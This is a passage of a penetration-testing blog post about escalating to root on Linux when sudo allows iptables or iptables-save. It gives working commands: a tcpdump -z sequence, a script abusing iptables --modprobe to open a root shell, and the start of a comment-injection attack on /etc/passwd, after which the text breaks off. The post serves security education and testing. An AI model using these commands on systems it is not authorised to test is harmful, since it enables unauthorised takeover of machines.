CINXE.COM
Shielder - A Journey From <code>sudo iptables</code> To Local Privilege Escalation
<!doctype html><html lang=en><head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=description content="In this post, we demonstrate two techniques allowing a low privileged user to escalate their privileges to root in case they can run iptables and/or iptables-save as"><meta name=Copyright content="Copyright © Shielder"><meta property="og:title" content="Shielder - A Journey From `sudo iptables` To Local Privilege Escalation"><meta property="og:type" content="article"><meta property="og:url" content="https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/"><meta property="og:image" content="https://www.shielder.com//img/blog/sudo_iptables_og.jpg"><meta property="og:image:type" content="image/jpg"><meta property="og:image:width" content="400"><meta property="og:image:height" content="400"><meta property="og:image:alt" content="iptables privilege escalation"><meta property="og:locale" content="en_US"><meta property="og:description" content="In this post, we demonstrate two techniques allowing a low privileged user to escalate their privileges to root in case they can run iptables and/or iptables-save as"><meta property="og:site_name" content="Shielder"><meta property="fb:app_id" content="1651492201761174"><meta name=twitter:card content="summary"><meta name=twitter:site content="@ShielderSec"><meta name=twitter:creator content="@ShielderSec"><meta name=twitter:title content="Shielder - A Journey From `sudo iptables` To Local Privilege Escalation"><meta name=twitter:description content="In this post, we demonstrate two techniques allowing a low privileged user to escalate their privileges to root in case they can run iptables and/or iptables-save as"><meta name=twitter:image content="https://www.shielder.com//img/blog/sudo_iptables_og.jpg"><link rel=apple-touch-icon sizes=57x57 href=https://www.shielder.com/favicon/apple-touch-icon-57x57.png><link rel=apple-touch-icon sizes=60x60 href=https://www.shielder.com/favicon/apple-touch-icon-60x60.png><link rel=apple-touch-icon sizes=72x72 href=https://www.shielder.com/favicon/apple-touch-icon-72x72.png><link rel=apple-touch-icon sizes=76x76 href=https://www.shielder.com/favicon/apple-touch-icon-76x76.png><link rel=apple-touch-icon sizes=114x114 href=https://www.shielder.com/favicon/apple-touch-icon-114x114.png><link rel=apple-touch-icon sizes=120x120 href=https://www.shielder.com/favicon/apple-touch-icon-120x120.png><link rel=apple-touch-icon sizes=144x144 href=https://www.shielder.com/favicon/apple-touch-icon-144x144.png><link rel=apple-touch-icon sizes=152x152 href=https://www.shielder.com/favicon/apple-touch-icon-152x152.png><link rel=apple-touch-icon sizes=167x167 href=https://www.shielder.com/favicon/apple-touch-icon-167x167.png><link rel=apple-touch-icon sizes=180x180 href=https://www.shielder.com/favicon/apple-touch-icon-180x180.png><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-16x16.png sizes=16x16><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-32x32.png sizes=32x32><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-96x96.png sizes=96x96><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-160x160.png sizes=160x160><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-192x192.png sizes=192x192><link rel="shortcut icon" href=https://www.shielder.com/favicon/favicon.ico><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-regular-400.woff2 as=font type=font/woff2 crossorigin><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-solid-900.woff2 as=font type=font/woff2 crossorigin><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-brands-400.woff2 as=font type=font/woff2 crossorigin><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-brands-400.woff2 as=font type=font/woff2 crossorigin><title>Shielder - A Journey From <code>sudo iptables</code> To Local Privilege Escalation </title><link rel=stylesheet defer href=https://www.shielder.com/css/bootstrap.min.css><link rel=stylesheet defer href=https://www.shielder.com/css/style.css><link rel=stylesheet async href=https://www.shielder.com/fontawesome/css/all.min.css><link rel=stylesheet async href=https://www.shielder.com/css/dracula.css><link rel=alternate type=application/rss+xml title="Shielder Blog" href=https://www.shielder.com/blog/index.xml><link rel=alternate type=application/rss+xml title="Shielder Advisories" href=https://www.shielder.com/advisories/index.xml></head><body><nav class="navbar navbar-expand-lg fixed-top bg-primary p-3 px-md-5 px-lg-3 px-xl-5"><a class=navbar-brand href=https://www.shielder.com/ title=homepage><img src=https://www.shielder.com/img/logoshielder.svg alt="shielder logo homepage" class=w-75></a> <button class="navbar-toggler text-white p-0" type=button data-toggle=collapse data-target=#navbarNav aria-controls=navbarNav aria-expanded=false aria-label="Toggle navigation"> <i class="fas fa-bars"></i></button><div class="collapse navbar-collapse justify-content-end pt-2" id=navbarNav><ul class=navbar-nav><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/ title=Home>Home</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/company title=Company>Company</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/services title=Services>Services</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/advisories title=Advisories>Advisories</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/blog title=Blog>Blog</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/careers title=Careers>Careers</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/contacts title=Contacts>Contacts</a></li><li class="nav-item p-2"><button class="nav-link bg-transparent border-0 btn btn-primary dropdown-toggle rounded-0" type=button id=language-selector data-toggle=dropdown aria-haspopup=true aria-expanded=false> ENG</button><div class="dropdown-menu dropdown-menu-right" aria-labelledby=language-selector><a class=dropdown-item href=https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/ title=ENG>ENG</a> <a class=dropdown-item href=https://www.shielder.com/it/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/ title=ITA>ITA</a></div></li></ul></div></nav><section id=single-post><div class=container><div class=row><div class="col-12 col-lg-8"><h1>A Journey From <code>sudo iptables</code> To Local Privilege Escalation</h1><figure><img src=/img/blog/sudo_iptables_og.jpg></figure><h2 id=tldr>TL;DR</h2><p>A low-privileged user on a Linux machine can obtain the <code>root</code> privileges if:</p><ul><li>They can execute <code>iptables</code> and <code>iptables-save</code> with <code>sudo</code> as they can inject a fake <code>/etc/passwd</code> entry in the comment of an <code>iptables</code> rule and then abusing <code>iptables-save</code> to overwrite the legitimate <code>/etc/passwd</code> file.</li><li>They can execute <code>iptables</code> with <code>sudo</code> and the underlying system misses one of the kernel modules loaded by <code>iptables</code>. In this case they can use the <code>--modprobe</code> argument to run an arbitrary command.</li></ul><h2 id=intro>Intro</h2><p>If you’ve ever played with <em>boot2root</em> CTFs (like Hack The Box), worked as a penetration tester, or just broke the law by infiltrating random machines (<u>NO, DON’T DO THAT</u>), chances are good that you found yourself with a low-privileged shell - <code>www-data</code>, I’m looking at you - on a Linux machine.</p><p>Now, while shells are great and we all need to be grateful when they shine upon us, a low-privileged user typically has a limited power over the system. The path ahead becomes clear: we need to escalate our privileges to <code>root</code>.</p><figure><img src=/img/blog/why_root.png></figure><p>When walking the path of the Privilege Escalation, a hacker has <a href=https://book.hacktricks.xyz/linux-hardening/privilege-escalation target=_blank rel="noopener noreferrer">a number of tricks</a> at their disposal; one of them is using <code>sudo</code>.</p><h2 id=superuser-dosubstitute-user-dojust-call-me-sudo>superuser do…substitute user do…just call me sudo</h2><p>As the reader might already know well, the <code>sudo</code> command can be used to run a command <strong>with the permissions of another user</strong> – which is commonly <code>root</code>.</p><blockquote><p>Ok, but what’s the point? If you can <code>sudo <command></code> already, privilege escalation is complete!</p></blockquote><p>Well, yes, but actually, no. In fact, there are two scenarios (at least, two that come to mind right now) where we can’t simply leverage <code>sudo</code> to run arbitrary commands:</p><ol><li>Running <code>sudo</code> requires the password of the user, and even though we have a shell, we don’t know the password. This is quite common, as the initial access to the box happens via an exploit rather than regular authentication.</li><li>We may know the password for <code>sudo</code>, but the commands that the user can run with <code>sudo</code> are restricted.</li></ol><p>In the first case, there’s only one way to leverage <code>sudo</code> for privilege escalation, and that is <code>NOPASSWD</code> commands. These are commands that can be launched with <code>sudo</code> by the user <strong>without a password prompt</strong>. Quoting from <code>man sudoers</code>:</p><blockquote><p>NOPASSWD and PASSWD</p><p>By default, sudo requires that a user authenticate him or herself before running a command. This behavior can be modified via the NOPASSWD tag. Like a Runas_Spec, the NOPASSWD tag sets a default for the commands that follow it in the Cmnd_Spec_List. Conversely, the PASSWD tag can be used to reverse things. For example:</p><p>ray rushmore = NOPASSWD: /bin/kill, /bin/ls, /usr/bin/lprm would allow the user ray to run /bin/kill, /bin/ls, and /usr/bin/lprm as root on the machine rushmore without authenticating himself.</p></blockquote><p>The second case is a bit different: in that scenario, even though we know the password, there will be only a limited subset of commands (and possibly arguments) that can be launched with <code>sudo</code>. Again, the way this works you can learn by looking at <code>man sudoers</code>, asking ChatGPT or wrecking your system by experimenting.</p><p>In both cases, there is a quick way to check what are the “rules” enabled for your user, and that is running <code>sudo -l</code> on your shell, which will help answering the important question: <em>CAN I HAZ SUDO?</em></p><h2 id=-sudo-run-privesc>$ sudo run-privesc</h2><p>Now, back to the topic of privilege escalation. The bad news is that, when <code>sudo</code> is restricted, we cannot run arbitrary commands, thus the need for some more ingredients to obtain a complete privilege escalation. How? This is the good news: we can leverage side-effects of allowed commands. In fact, Linux utilities, more often than not, support a plethora of flags and options to customize their flow. By using and chaining these options in creative ways, even a simple text editor can be used as a trampoline to obtain arbitrary execution!</p><p>For a simple use case, let’s consider the well-known <code>tcpdump</code> command, used to listen, filter and display network packets traveling through the system. Administrators will oftentimes grant low-privileged users the capability to dump traffic on the machine for debugging purposes, so it’s perfectly common to find an entry like this when running <code>sudo -l</code>:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl><span class=o>(</span>ALL<span class=o>)</span> NOPASSWD: /usr/bin/tcpdump </span></span></code></pre></td></tr></table></div></div><p>Little do they know about the power of UNIX utilities! In fact, <code>tcpdump</code> automagically supports <em>log rotation</em>, alongside a convenient <code>-z</code> flag to supply a <code>postrotate-command</code> that is executed after every rotation. Therefore, it is possible to leverage <code>sudo</code> coupled with <code>tcpdump</code> to execute arbitrary commands as root by running the following sequence of commands:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span><span class=lnt>2 </span><span class=lnt>3 </span><span class=lnt>4 </span><span class=lnt>5 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl><span class=nv>COMMAND</span><span class=o>=</span><span class=s1>'id'</span> <span class=c1># just replace 'id' with your evil command</span> </span></span><span class=line><span class=cl><span class=nv>TF</span><span class=o>=</span><span class=k>$(</span>mktemp<span class=k>)</span> </span></span><span class=line><span class=cl><span class=nb>echo</span> <span class=s2>"</span><span class=nv>$COMMAND</span><span class=s2>"</span> > <span class=nv>$TF</span> </span></span><span class=line><span class=cl>chmod +x <span class=nv>$TF</span> </span></span><span class=line><span class=cl>tcpdump -ln -i lo -w /dev/null -W <span class=m>1</span> -G <span class=m>1</span> -z <span class=nv>$TF</span> </span></span></code></pre></td></tr></table></div></div><p>The good folks at <a href=https://gtfobins.github.io/ target=_blank rel="noopener noreferrer">GTFOBins</a> maintain a curated list of these magic tricks (including the one just shown about <code>tcpdump</code>), so please bookmark it and make sure to look it up on your Linux privilege escalation quests!</p><h2 id=starting-line->Starting Line 🚦</h2><p>Recently, during a penetration test, we were looking for a way to escalate our privileges on a Linux-based device. What we had was a shell for a (very) low-privileged user, and the capability to run a certain set of commands as <code>sudo</code>. Among these, two trusted companions for every network engineer: <code>iptables</code> and <code>iptables-save</code>.</p><p>Sure there must be an entry for one of these two guys in GTFOBins, or so we thought … which lead in going once more for the extra mile™.</p><h2 id=pepperidge-farm-remembers>Pepperidge Farm Remembers</h2><p>Back in the 2017 we organized an in-person CTF in Turin partnering with the <a href=https://www.polito.it target=_blank rel="noopener noreferrer">PoliTO University</a>, <a href=https://jetop.com target=_blank rel="noopener noreferrer">JEToP</a>, and <a href=https://kpmg.com/ target=_blank rel="noopener noreferrer">KPMG</a>.</p><p>The CTF was based on a set of boot2root boxes where the typical entry point was a web-based vulnerability, followed by a local privilege escalation. One of the privilege escalations scenarios we created was exactly related to <code>iptables</code>.</p><p>The technique needed to root the box has been documented in a <a href=https://jbz.team/turinctf2017/turinctf_finals#6 target=_blank rel="noopener noreferrer">CTF writeup</a> and used to <a href=https://git.lsd.cat/g/pax-pwn/src/master/Readme.md#privilege-escalation-cve-2020-28046 target=_blank rel="noopener noreferrer">root a PAX payment device</a>.</p><h3 id=modeprobing-our-way-to-root>Modeprobing Our Way To Root</h3><p><code>iptables</code> has a <code>--modprobe</code>, which purpose we can see from its <code>man</code> page:</p><pre tabindex=0><code>--modprobe=command When adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc). </code></pre><p>Sounds like an interesting way for to run an arbitrary command, doesn’t it?</p><p>By inspecting the <a href=https://github.com/cernekee/iptables/blob/upstream/libxtables/xtables.c#L403 target=_blank rel="noopener noreferrer"><code>iptables</code> source code</a> we can see that if the <code>--modprobe</code> flag has been specifies, then the <code>int xtables_load_ko(const char *modprobe, bool quiet)</code> function is called with as first parameter the modprobe command specified by the user.</p><p>As a first step the <code>xtables_load_ko</code> function checks if the required modules have been already loaded, while if they have been not it calls the <code>int xtables_insmod(const char *modname, const char *modprobe, bool quiet)</code> function with as second parameter the modprobe command specified by the user.</p><p>Finally, the <code>xtables_insmod</code> function runs the command we specified in the <code>--modprobe</code> argument using the <code>execv</code> syscall:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1 </span><span class=lnt> 2 </span><span class=lnt> 3 </span><span class=lnt> 4 </span><span class=lnt> 5 </span><span class=lnt> 6 </span><span class=lnt> 7 </span><span class=lnt> 8 </span><span class=lnt> 9 </span><span class=lnt>10 </span><span class=lnt>11 </span><span class=lnt>12 </span><span class=lnt>13 </span><span class=lnt>14 </span><span class=lnt>15 </span><span class=lnt>16 </span><span class=lnt>17 </span><span class=lnt>18 </span><span class=lnt>19 </span><span class=lnt>20 </span><span class=lnt>21 </span><span class=lnt>22 </span><span class=lnt>23 </span><span class=lnt>24 </span><span class=lnt>25 </span><span class=lnt>26 </span><span class=lnt>27 </span><span class=lnt>28 </span><span class=lnt>29 </span><span class=lnt>30 </span><span class=lnt>31 </span><span class=lnt>32 </span><span class=lnt>33 </span><span class=lnt>34 </span><span class=lnt>35 </span><span class=lnt>36 </span><span class=lnt>37 </span><span class=lnt>38 </span><span class=lnt>39 </span><span class=lnt>40 </span><span class=lnt>41 </span><span class=lnt>42 </span><span class=lnt>43 </span><span class=lnt>44 </span><span class=lnt>45 </span><span class=lnt>46 </span><span class=lnt>47 </span><span class=lnt>48 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-c data-lang=c><span class=line><span class=cl><span class=kt>int</span> <span class=nf>xtables_insmod</span><span class=p>(</span><span class=k>const</span> <span class=kt>char</span> <span class=o>*</span><span class=n>modname</span><span class=p>,</span> <span class=k>const</span> <span class=kt>char</span> <span class=o>*</span><span class=n>modprobe</span><span class=p>,</span> <span class=kt>bool</span> <span class=n>quiet</span><span class=p>)</span> </span></span><span class=line><span class=cl><span class=p>{</span> </span></span><span class=line><span class=cl> <span class=kt>char</span> <span class=o>*</span><span class=n>buf</span> <span class=o>=</span> <span class=nb>NULL</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=kt>char</span> <span class=o>*</span><span class=n>argv</span><span class=p>[</span><span class=mi>4</span><span class=p>];</span> </span></span><span class=line><span class=cl> <span class=kt>int</span> <span class=n>status</span><span class=p>;</span> </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl> <span class=cm>/* If they don't explicitly set it, read out of kernel */</span> </span></span><span class=line><span class=cl> <span class=k>if</span> <span class=p>(</span><span class=o>!</span><span class=n>modprobe</span><span class=p>)</span> <span class=p>{</span> </span></span><span class=line><span class=cl> <span class=n>buf</span> <span class=o>=</span> <span class=nf>get_modprobe</span><span class=p>();</span> </span></span><span class=line><span class=cl> <span class=k>if</span> <span class=p>(</span><span class=o>!</span><span class=n>buf</span><span class=p>)</span> </span></span><span class=line><span class=cl> <span class=k>return</span> <span class=o>-</span><span class=mi>1</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=n>modprobe</span> <span class=o>=</span> <span class=n>buf</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=p>}</span> </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl> <span class=cm>/* </span></span></span><span class=line><span class=cl><span class=cm> * Need to flush the buffer, or the child may output it again </span></span></span><span class=line><span class=cl><span class=cm> * when switching the program thru execv. </span></span></span><span class=line><span class=cl><span class=cm> */</span> </span></span><span class=line><span class=cl> <span class=nf>fflush</span><span class=p>(</span><span class=n>stdout</span><span class=p>);</span> </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl> <span class=k>switch</span> <span class=p>(</span><span class=nf>vfork</span><span class=p>())</span> <span class=p>{</span> </span></span><span class=line><span class=cl> <span class=k>case</span> <span class=mi>0</span><span class=o>:</span> </span></span><span class=line><span class=cl> <span class=n>argv</span><span class=p>[</span><span class=mi>0</span><span class=p>]</span> <span class=o>=</span> <span class=p>(</span><span class=kt>char</span> <span class=o>*</span><span class=p>)</span><span class=n>modprobe</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=n>argv</span><span class=p>[</span><span class=mi>1</span><span class=p>]</span> <span class=o>=</span> <span class=p>(</span><span class=kt>char</span> <span class=o>*</span><span class=p>)</span><span class=n>modname</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=k>if</span> <span class=p>(</span><span class=n>quiet</span><span class=p>)</span> <span class=p>{</span> </span></span><span class=line><span class=cl> <span class=n>argv</span><span class=p>[</span><span class=mi>2</span><span class=p>]</span> <span class=o>=</span> <span class=s>"-q"</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=n>argv</span><span class=p>[</span><span class=mi>3</span><span class=p>]</span> <span class=o>=</span> <span class=nb>NULL</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=p>}</span> <span class=k>else</span> <span class=p>{</span> </span></span><span class=line><span class=cl> <span class=n>argv</span><span class=p>[</span><span class=mi>2</span><span class=p>]</span> <span class=o>=</span> <span class=nb>NULL</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=n>argv</span><span class=p>[</span><span class=mi>3</span><span class=p>]</span> <span class=o>=</span> <span class=nb>NULL</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=p>}</span> </span></span><span class=line><span class=cl> <span class=nf>execv</span><span class=p>(</span><span class=n>argv</span><span class=p>[</span><span class=mi>0</span><span class=p>],</span> <span class=n>argv</span><span class=p>);</span> </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl> <span class=cm>/* not usually reached */</span> </span></span><span class=line><span class=cl> <span class=nf>exit</span><span class=p>(</span><span class=mi>1</span><span class=p>);</span> </span></span><span class=line><span class=cl> <span class=k>case</span> <span class=o>-</span><span class=mi>1</span><span class=o>:</span> </span></span><span class=line><span class=cl> <span class=nf>free</span><span class=p>(</span><span class=n>buf</span><span class=p>);</span> </span></span><span class=line><span class=cl> <span class=k>return</span> <span class=o>-</span><span class=mi>1</span><span class=p>;</span> </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl> <span class=k>default</span><span class=o>:</span> <span class=cm>/* parent */</span> </span></span><span class=line><span class=cl> <span class=nf>wait</span><span class=p>(</span><span class=o>&</span><span class=n>status</span><span class=p>);</span> </span></span><span class=line><span class=cl> <span class=p>}</span> </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl> <span class=nf>free</span><span class=p>(</span><span class=n>buf</span><span class=p>);</span> </span></span><span class=line><span class=cl> <span class=k>if</span> <span class=p>(</span><span class=nf>WIFEXITED</span><span class=p>(</span><span class=n>status</span><span class=p>)</span> <span class=o>&&</span> <span class=nf>WEXITSTATUS</span><span class=p>(</span><span class=n>status</span><span class=p>)</span> <span class=o>==</span> <span class=mi>0</span><span class=p>)</span> </span></span><span class=line><span class=cl> <span class=k>return</span> <span class=mi>0</span><span class=p>;</span> </span></span><span class=line><span class=cl> <span class=k>return</span> <span class=o>-</span><span class=mi>1</span><span class=p>;</span> </span></span><span class=line><span class=cl><span class=p>}</span> </span></span></code></pre></td></tr></table></div></div><p>Wrapping all together, if we can run <code>iptables</code> as <code>root</code> then we can abuse it to run arbitrary system commands and with the following script being greeted with an interactive <code>root</code> shell:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span><span class=lnt>2 </span><span class=lnt>3 </span><span class=lnt>4 </span><span class=lnt>5 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl><span class=cp>#!/bin/bash </span></span></span><span class=line><span class=cl><span class=cp></span> </span></span><span class=line><span class=cl><span class=nb>echo</span> -e <span class=s2>"/bin/bash -i"</span> > run-me </span></span><span class=line><span class=cl>chmod +x run-me </span></span><span class=line><span class=cl>sudo iptables -L -t nat --modprobe<span class=o>=</span>./run-me </span></span></code></pre></td></tr></table></div></div><h3 id=eof>EOF?</h3><p>While this technique is quite powerful, it has an important requirement: the kernel modules <code>iptables</code> is trying to access should not be loaded.</p><p>(Un)fortunately, in most of the modern Linux distributions they are, making the attack impracticable. That being said, it is still powerful when it comes to embedded devices as demonstrated by <a href=https://lsd.cat/ target=_blank rel="noopener noreferrer">Giulio</a>.</p><p>What about our target? Unlikely it had all the kernel modules loaded, so this technique couldn’t be applied. Time to find a new one then 👀</p><h2 id=フュージョン>フュージョン</h2><p>Time for the Metamoran Fusion Dance!</p><figure><img src=/img/blog/fusion.jpeg></figure><h3 id=the-lab>The lab</h3><p>Before diving into the privilege escalation steps, let’s setup a little lab to experiment with.</p><p>To test this, you can do the following things on a fresh Ubuntu 24.04 LTS machine:</p><ol><li>Install the <code>iptables</code> package via <code>apt-get</code>.</li><li>Add the following lines to the <code>/etc/sudoers</code> file:</li></ol><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span><span class=lnt>2 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>user <span class=nv>ALL</span><span class=o>=(</span>ALL<span class=o>)</span> NOPASSWD: /usr/bin/iptables </span></span><span class=line><span class=cl>user <span class=nv>ALL</span><span class=o>=(</span>ALL<span class=o>)</span> NOPASSWD: /usr/bin/iptables-save </span></span></code></pre></td></tr></table></div></div><ol start=3><li>Comment out, in the same file, the line:</li></ol><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>%sudo <span class=nv>ALL</span><span class=o>=(</span>ALL:ALL<span class=o>)</span> ALL </span></span></code></pre></td></tr></table></div></div><p>As expected, running <code>sudo -l</code> will yield the following response:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span><span class=lnt>2 </span><span class=lnt>3 </span><span class=lnt>4 </span><span class=lnt>5 </span><span class=lnt>6 </span><span class=lnt>7 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>user@ubuntu:~$ sudo -l </span></span><span class=line><span class=cl>Matching Defaults entries <span class=k>for</span> user on ubuntu: </span></span><span class=line><span class=cl> env_reset, mail_badpass, <span class=nv>secure_path</span><span class=o>=</span>/usr/local/sbin<span class=se>\:</span>/usr/local/bin<span class=se>\:</span>/usr/sbin<span class=se>\:</span>/usr/bin<span class=se>\:</span>/sbin<span class=se>\:</span>/bin<span class=se>\:</span>/snap/bin, use_pty </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl>User user may run the following commands on ubuntu: </span></span><span class=line><span class=cl> <span class=o>(</span>ALL<span class=o>)</span> NOPASSWD: /usr/bin/iptables </span></span><span class=line><span class=cl> <span class=o>(</span>ALL<span class=o>)</span> NOPASSWD: /usr/bin/iptables-save </span></span></code></pre></td></tr></table></div></div><p>So either running <code>sudo iptables</code> or <code>sudo iptables-save</code> executes the command without asking for authentication.</p><p>In the next section, we’ll see how an attacker in this system can escalate their privileges to <code>root</code>.</p><h3 id=evilege-priscalation>Evilege Priscalation</h3><p>This section will demonstrate how core and side features of the <code>iptables</code> and <code>iptables-save</code> commands, plus some Linux quirks, can be chained together in order to obtain arbitrary code execution.</p><p>Spoiler alert, it boils down to these three steps:</p><ol><li>Using the comment functionality offered by <code>iptables</code> to attach arbitrary comments, containing newlines, to rules.</li><li>Leverage <code>iptables-save</code> to dump to a sensitive file the content of the loaded rules, including the comment payloads.</li><li>Exploiting step 1 and step 2 to overwrite the <code>/etc/passwd</code> file with an attacker-controlled <code>root</code> entry, crafted with a known password.</li></ol><p>In the following sections, we will give some more details on these steps.</p><h3 id=step-1-commenting-rules-via-iptables>Step 1: Commenting Rules via iptables</h3><p>Let’s consider a simple <code>iptables</code> command to add a firewall rule:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>sudo iptables -A INPUT -i lo -j ACCEPT </span></span></code></pre></td></tr></table></div></div><p>the effect of this rule is to <strong>append</strong> a rule to the input chain to accept every inbound packet where the input interface is the local one. We can immediately verify the effect of this rule by running <code>sudo iptables -L</code>. The output of this command, as expected, contains the ACCEPT rule that we just loaded.</p><p>By looking into interesting flags supported by <code>iptables</code>, we stumble on this one:</p><blockquote><p>comment</p><p>Allows you to add comments (up to 256 characters) to any rule. –comment comment Example: iptables -A INPUT -s 192.168.0.0/16 -m comment –comment “A privatized IP block”</p></blockquote><p>Let’s test this by slightly modifying our previous rule:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment <span class=s2>"Allow packets to localhost"</span> </span></span></code></pre></td></tr></table></div></div><p>Then again, listing the rules, we can see the effect of the comment:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1 </span><span class=lnt> 2 </span><span class=lnt> 3 </span><span class=lnt> 4 </span><span class=lnt> 5 </span><span class=lnt> 6 </span><span class=lnt> 7 </span><span class=lnt> 8 </span><span class=lnt> 9 </span><span class=lnt>10 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>Chain INPUT <span class=o>(</span>policy ACCEPT<span class=o>)</span> </span></span><span class=line><span class=cl>target prot opt <span class=nb>source</span> destination </span></span><span class=line><span class=cl>ACCEPT all -- anywhere anywhere </span></span><span class=line><span class=cl>ACCEPT all -- anywhere anywhere /* Allow packets to localhost */ </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl>Chain FORWARD <span class=o>(</span>policy ACCEPT<span class=o>)</span> </span></span><span class=line><span class=cl>target prot opt <span class=nb>source</span> destination </span></span><span class=line><span class=cl> </span></span><span class=line><span class=cl>Chain OUTPUT <span class=o>(</span>policy ACCEPT<span class=o>)</span> </span></span><span class=line><span class=cl>target prot opt <span class=nb>source</span> destination </span></span></code></pre></td></tr></table></div></div><p><code>iptables</code> also provides a way to simply dump all the loaded rules, by running <code>iptables -S</code>:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span><span class=lnt>2 </span><span class=lnt>3 </span><span class=lnt>4 </span><span class=lnt>5 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>-P INPUT ACCEPT </span></span><span class=line><span class=cl>-P FORWARD ACCEPT </span></span><span class=line><span class=cl>-P OUTPUT ACCEPT </span></span><span class=line><span class=cl>-A INPUT -i lo -j ACCEPT </span></span><span class=line><span class=cl>-A INPUT -i lo -m comment --comment <span class=s2>"Allow packets to localhost"</span> -j ACCEPT </span></span></code></pre></td></tr></table></div></div><p>How much can we control this output? A simple test is to insert a newline:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment <span class=s1>$'Allow packets to localhost\nThis rule rocks!'</span> </span></span></code></pre></td></tr></table></div></div><blockquote><p>NOTE</p><p>By using the $’ quoting, we can instruct bash to replace the \n character with a newline!</p></blockquote><p>Now, let’s dump again the loaded rules to check whether the newline was preserved:</p><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1 </span><span class=lnt>2 </span><span class=lnt>3 </span><span class=lnt>4 </span><span class=lnt>5 </span><span class=lnt>6 </span><span class=lnt>7 </span><span class=lnt>8 </span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>$ sudo iptables -S </span></span><span class=line><span class=cl>-P INPUT ACCEPT </span></span><span class=line><span class=cl>-P FORWARD ACCEPT </span></span><span 